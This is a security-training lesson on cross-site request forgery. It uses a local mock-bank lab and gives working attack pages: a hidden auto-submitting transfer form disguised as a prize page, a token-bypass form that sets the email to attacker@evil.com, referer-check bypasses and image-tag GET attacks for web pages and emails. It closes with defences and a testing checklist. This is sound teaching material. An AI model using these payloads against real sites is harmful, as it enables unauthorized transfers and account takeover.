Making Users Attack Themselves
Cross-Site Request Forgery (CSRF) is beautifully simple: make a victim's browser send a request to a site where they're already logged in.
The victim's browser automatically includes their cookies. The server sees a valid session. The action executes. The victim never knew.
Let's master this technique.
How CSRF Works
Normal Request Flow
- User logs into bank.com
- User receives session cookie
- User makes a transfer:
POST /transfer?to=friend&amount=100 - Browser sends request with session cookie
- Bank validates session and processes transfer
CSRF Attack Flow
- User logs into bank.com (session cookie stored)
- User visits attacker's page (while still logged in)
- Attacker's page automatically submits:
POST bank.com/transfer?to=attacker&amount=1000 - Browser sends request with victim's session cookie
- Bank sees valid session, processes the transfer
- Attacker gets the money, victim is confused
Building the CSRF Lab
Download and run the CSRF practice lab:
CSRF Lab - SecureBank
Practice CSRF attacks against a mock banking application
python3 csrf_lab.py
The lab includes multiple CSRF vulnerabilities:
- Transfer Money (No Protection) - Completely unprotected
- Change Email (Weak Token) - Token exists but not validated properly
- Transfer Money (Referer Check) - Bypassable referer validation
- Change Password (Cookie Token) - Token in cookie
- Transfer via GET - State-changing GET request
Test users: alice/alice123, bob/bob123, admin/admin123
Attack 1: Basic CSRF (No Protection)
The Vulnerability
The /transfer1 endpoint has zero CSRF protection.
Create the Attack Page
Save as attack1.html:
<!DOCTYPE html>
<html>
<body>
<h1>Congratulations! You won a prize!</h1>
<p>Click below to claim your reward...</p>
<!-- Hidden form that auto-submits -->
<form id="csrf" action="http://localhost:8888/transfer1" method="POST" style="display:none;">
<input type="hidden" name="to" value="bob">
<input type="hidden" name="amount" value="500">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Execute the Attack
- Login as alice in the lab
- Open
attack1.htmlin a new tab - Check alice's balance — $500 is gone!
Variations
Image tag (GET requests):
<img src="http://localhost:8888/transfer_get?to=bob&amount=100">
Attack 2: Bypassing Weak CSRF Tokens
The Vulnerability
The /change_email endpoint checks for a CSRF token but doesn't validate it:
if token: # Only checks existence, not correctness!
The Attack
Any token value works:
<form id="csrf" action="http://localhost:8888/change_email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="anything_works_here">
</form>
<script>document.getElementById('csrf').submit();</script>
Attack 3: Bypassing Referer Checks
The Vulnerability
The /transfer2 endpoint checks if "localhost" is in the Referer header:
if 'localhost' in referer or not referer:
Bypass 1: No Referer
Some browsers don't send Referer for certain requests. Force this with:
<meta name="referrer" content="no-referrer">
<form id="csrf" action="http://localhost:8888/transfer2" method="POST">
...
</form>
Bypass 2: Include "localhost" in URL
Host your attack on a page containing "localhost":
http://evil.com/localhost/attack.html
The Referer would be: http://evil.com/localhost/attack.html — contains "localhost"!
Attack 4: GET-Based CSRF
The Vulnerability
State-changing actions via GET are trivially exploitable:
<img src="http://localhost:8888/transfer_get?to=bob&amount=100">
When the image loads, the request fires. No JavaScript needed.
Email attack:
<img src="http://localhost:8888/transfer_get?to=bob&amount=100" width="1" height="1">
Many email clients load images automatically!
Prevention (For Developers)
1. CSRF Tokens
Include a random token in forms that's validated server-side:
# Generate token on form display
csrf_token = secrets.token_hex(32)
session['csrf_token'] = csrf_token
# Validate on submission
if request.form['csrf_token'] != session['csrf_token']:
abort(403)
2. SameSite Cookies
Modern defense — cookies aren't sent on cross-site requests:
response.set_cookie('session', value, samesite='Strict')
| Value | Behavior |
|---|---|
| Strict | Never sent cross-site |
| Lax | Sent on navigation, not POST |
| None | Always sent (requires Secure) |
3. Check Origin/Referer
Validate that requests come from your domain:
origin = request.headers.get('Origin')
if origin and origin != 'https://yoursite.com':
abort(403)
CSRF Testing Checklist
- Identify state-changing requests — Forms, API calls
- Check for CSRF tokens — Are they present?
- Validate token implementation:
- Is it actually validated?
- Is it tied to the session?
- Is it unpredictable?
- Check for Referer validation:
- Can you remove the header?
- Can you bypass the check?
- Check cookie settings:
- Is SameSite set?
- What value?
Lab Challenges
- Steal all of alice's money using basic CSRF
- Change alice's email by bypassing the weak token check
- Bypass the Referer check using no-referrer meta tag
- Chain CSRF with an earlier lesson — If the site had XSS, how would you exploit CSRF?
What You've Learned in Phase 2
Congratulations! You've completed the Core Vulnerabilities phase:
- XSS — Inject scripts into pages
- SQL Injection — Talk to databases
- Authentication Attacks — Break logins
- Session Hijacking — Steal identities
- CSRF — Force users to attack themselves
These five vulnerabilities account for the majority of web application security issues. Master them and you understand most of web hacking.
What's Next?
Phase 3 takes you Beyond the Basics with intermediate techniques:
Lesson 9: File Upload Attacks — When uploads go wrong, shells get dropped.
Coming soon...